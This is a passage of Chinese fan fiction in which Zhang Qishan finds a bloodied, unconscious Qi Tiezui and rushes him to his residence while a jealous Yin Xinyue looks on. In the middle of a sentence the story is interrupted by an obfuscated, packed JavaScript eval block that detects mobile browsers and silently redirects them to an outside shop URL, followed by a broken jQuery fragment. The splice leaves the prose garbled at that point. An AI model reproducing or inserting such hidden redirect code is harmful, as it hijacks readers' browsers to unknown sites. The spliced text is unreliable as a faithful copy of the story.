张启山冲进西厢房的时候，差点被门槛绊了一跤。
他在这世上活了三十多年，刀山火海里滚过，枪林弹雨里闯过，什么凶险的场面没见过。可他从来没有像此刻这样，一脚迈进门里，整个人就钉在了原地。
午后惨白的天光从敞开的门照进去，把屋子里的一切都照得清清楚楚。地上泼了一滩白粥，瓷碗碎成几瓣，墙角滚着个空了大半的酒坛子，空气中弥漫着一股混了血腥的酸腐酒气。而屋子正中的躺椅上，齐铁嘴就那么歪着，整个人像件被人揉皱了随手丢开的旧衣裳。
他的脑袋耷拉在椅子边缘，颈子折出一个让人心惊的角度。一只手搭在肚子上，另一只手无力地垂下来，指尖几乎触到地面。那件灰蓝色的长衫前襟上全是斑斑点点的暗褐色痕迹，袖口上更是糊了一大片，颜色发黑，一看就不是酒渍。
嘴唇上还挂着没干透的血丝。
"老八！"
张启山两步跨过满地狼藉，一把将齐铁嘴从躺椅里捞起来。人入了怀他才发觉齐铁嘴轻得不像话，身子软塌塌的，像一捧随时要散掉的沙。他的额头烫得逼人，嘴唇却是凉的，脸色白得发青，眼窝深深陷下去，整个人毫无生气，连呼吸都浅得几乎感觉不到。
张启山抱着他，一只手去拍他的脸："八爷！老八！睁开眼！"
齐铁嘴的脸被拍得微微晃了晃，眼皮颤了一下，没有睁开。张启山的手在发抖，他自己都不知道自己在抖，拍脸的动作越来越重，声音从低吼变成了近乎哀求的腔调："齐铁嘴，你听见没有，你给我醒过来——"
"佛爷！"张小烬跪在躺椅另一边，手忙脚乱地去探齐铁嘴的脉。他是四人里最沉稳的一个，可此刻指尖压上齐铁嘴腕子的时候，他的手指也在抖。脉象细弱得像蛛丝，若有若无地跳着，跳得又急又乱。
张小鱼站在躺椅后面，看着齐铁嘴满身的血迹，嘴唇哆嗦了半天，说出一句："八爷怎么把自己弄成这样……"
张日山已经红了眼眶。他蹲在齐铁嘴脚边，把那只垂下来的手小心翼翼地托起来，掌心的血泡磨破了又结痂，结痂了又磨破，新伤叠旧伤，看得他喉头一阵发紧。
"八爷。"他哑着嗓子叫了一声。
齐铁嘴的眼皮又颤了颤。
这次他终于睁开了眼。那双眼睛往日里总是亮亮的、带着笑意的，此刻却像蒙了一层灰，瞳孔涣散着，半天对不上焦距。他在张启山怀里转了转眼珠，目光从张小烬移到张小鱼，又移到张日山，最后落在低头看他的张启山脸上。
他看了很久。久到张启山以为他又要昏过去的时候，齐铁嘴的嘴角忽然动了一下，扯出一个极淡极淡的笑。
"佛爷……"他的声音太轻了，轻得像气声，"副官……你们怎么来了……别担心，我没事！"
那笑还没收住，他的眼皮就合上了。脑袋往旁边一偏，彻底失了力气，整个人沉在张启山臂弯里，再也叫不醒了。
"齐铁嘴！"
张启山这一声喊得嗓子都劈了。他把人搂紧了些，一只手贴在他后背上，掌心底下是硌人的肩胛骨，薄薄一层皮肉包着骨头，瘦得让人心惊。
"佛爷！"谢九爷的声音从门口传进来。他是跟着张启山一道跑来的，他身体长年带病，落在后面，这会儿才赶到门口。他扶着门框往里头看了一眼，脸色也变了，但到底比张启山冷静几分。"别在这儿耽搁！送佛爷府，叫二月红！"
二月红。对。二月红懂医。
张启山像是被这三个字从泥沼里拽了出来。他一把将齐铁嘴打横抱起，转身就往外冲。怀里的人轻飘飘的，脑袋靠在他肩窝里，呼吸若有若无地拂在他的颈侧。张启山把下巴搁在他头顶，脚下步子不敢停，穿过那巴掌大的院子时阿婆缩在井台边上，满脸是泪地喊了声"军爷"，他没听见。
窄巷里停了四五辆车，把巷口堵得严严实实。张启山抱着齐铁嘴冲出来的时候，巷口恰好有一辆黄包车停下，尹新月正从车上下来，裙摆还卡在车辕上。
"启山——"
张启山从她身边过去了。
他抱着齐铁嘴，大步流星地擦过尹新月的肩膀，连眼神都没偏一下。尹新月的手伸在半空，还没来得及碰到他的衣袖，就被他带起的那阵风掀得缩了回去。
"回府！"张启山对着车门吼道。
张日山已经坐进了驾驶位，发动机轰鸣着，车尾喷出一股青烟。张启山抱着齐铁嘴钻进后座，车门都没来得及关上张小鱼就从外面一把拽上了。张小烬跳上副驾，回头看了一眼后座——张启山把齐铁嘴整个人拢在怀里，用自己军装外套的下摆裹住他那件沾满了血的破衣裳，一只手臂箍着他的背，一只手托着他的后脑，姿势像护着什么稀世的珍宝。
张小烬把目光收回来，对张日山说了一个字："走。"
车子猛地窜了出去。
后座上，张启山低着头看齐铁嘴的脸。他的呼吸吹在齐铁嘴额前散落的碎发上，发丝微微地动。齐铁嘴的眼皮青灰色，底下的眼珠还在快速地动着，像是在噩梦里挣扎。张启山把托着他后脑的手又收紧了些，拇指蹭了蹭他鬓角，那里有一道干涸的血痕，不知道是吐的时候沾上的还是别处蹭破的。
"齐铁嘴。"张启山的嘴唇贴着他的额发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846598|211740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，声音压得极低，低到连坐在前面的副官都听不见。"你撑住。别出事。你听见没有？别出事。"
他忽然想起来，他从来没有叫过齐铁嘴的全名。从前叫他"老八"，后来叫他"八爷"，偶尔不耐烦了叫他"齐铁嘴"。但他从来没有像今天这样，把这个名字含在舌尖上，一个字一个字地咬碎了咽下去。
齐铁嘴。齐铁嘴。你欠我的。你还没跟我说过你那些卦算了一半的话到底是什么。你还没告诉我你昨晚为什么一个人去喝酒。你还没让我知道你为什么把自己弄成这样。
你不准有事。
车子在长沙的街面上疾驰，窗外的景物快得只剩残影。张日山把车开得疯了似的，鸣笛声一路响过去，行人纷纷躲避，摊贩掀翻了货担。可后座上的张启山浑然不觉，他只是一直低头看着怀里的人，看着他那张苍白的脸，看着他胸口微弱的起伏，看着他那双磨烂了的手。
那双手上还有泥，是昨夜在乱葬岗挖坑埋人留下的。
张启山不知道这个。可他把那双满是伤痕的手轻轻拢在掌心里，掌心贴着掌心，像是要把自己身上的热气渡过去。
车子在佛爷府门口刹住的时候，张小鱼和张小烬已经提前跳了下来。一个冲进去叫人，一个拉开后座车门。张启山抱着齐铁嘴从车里出来，脚步不停，径直穿过佛爷府的大门，穿过前院，穿过回廊，一路往自己住的主院去了。
他把他放在了自己的床上。
尹新月站在佛爷府的大门口，看着那辆车绝尘而去的时候，她手里的帕子终于被她绞破了，白绸面上那枝红梅被指甲掐出一道裂口。
她听见车里张启山吼的那一声"回府"，看见他抱着齐铁嘴钻进后座时小心翼翼托住他后脑的姿势。他的动作那么轻，轻得像抱着一个一碰就碎的瓷器。她认识张启山两年，他抱孩子的时候都没这么轻过。
黄包车夫站在她身后，局促地问："太太……还走吗？"
尹新月低头看了看自己绞破的帕子，慢慢松开手。绸布上的裂口挂在她的指尖，如同她心底疯长不甘。
"走。"她说，"回去。"
她转身上了黄包车，靠在椅背上，闭上了眼睛。车子缓缓调头，往佛爷府的方向拉去。风还是凉的，吹在她脸上，把眼角的什么东西吹干了。
她不甘心。可她现在连不甘心的力气都快没了。
她想起齐铁嘴住在佛爷府那两年，每天早起坐在偏院门口喝茶，看见她经过就站起来笑着喊"嫂子"。那笑总是亮堂堂的，像是从心底里透出来的光。
她从来没想过，那光亮底下，藏着些什么。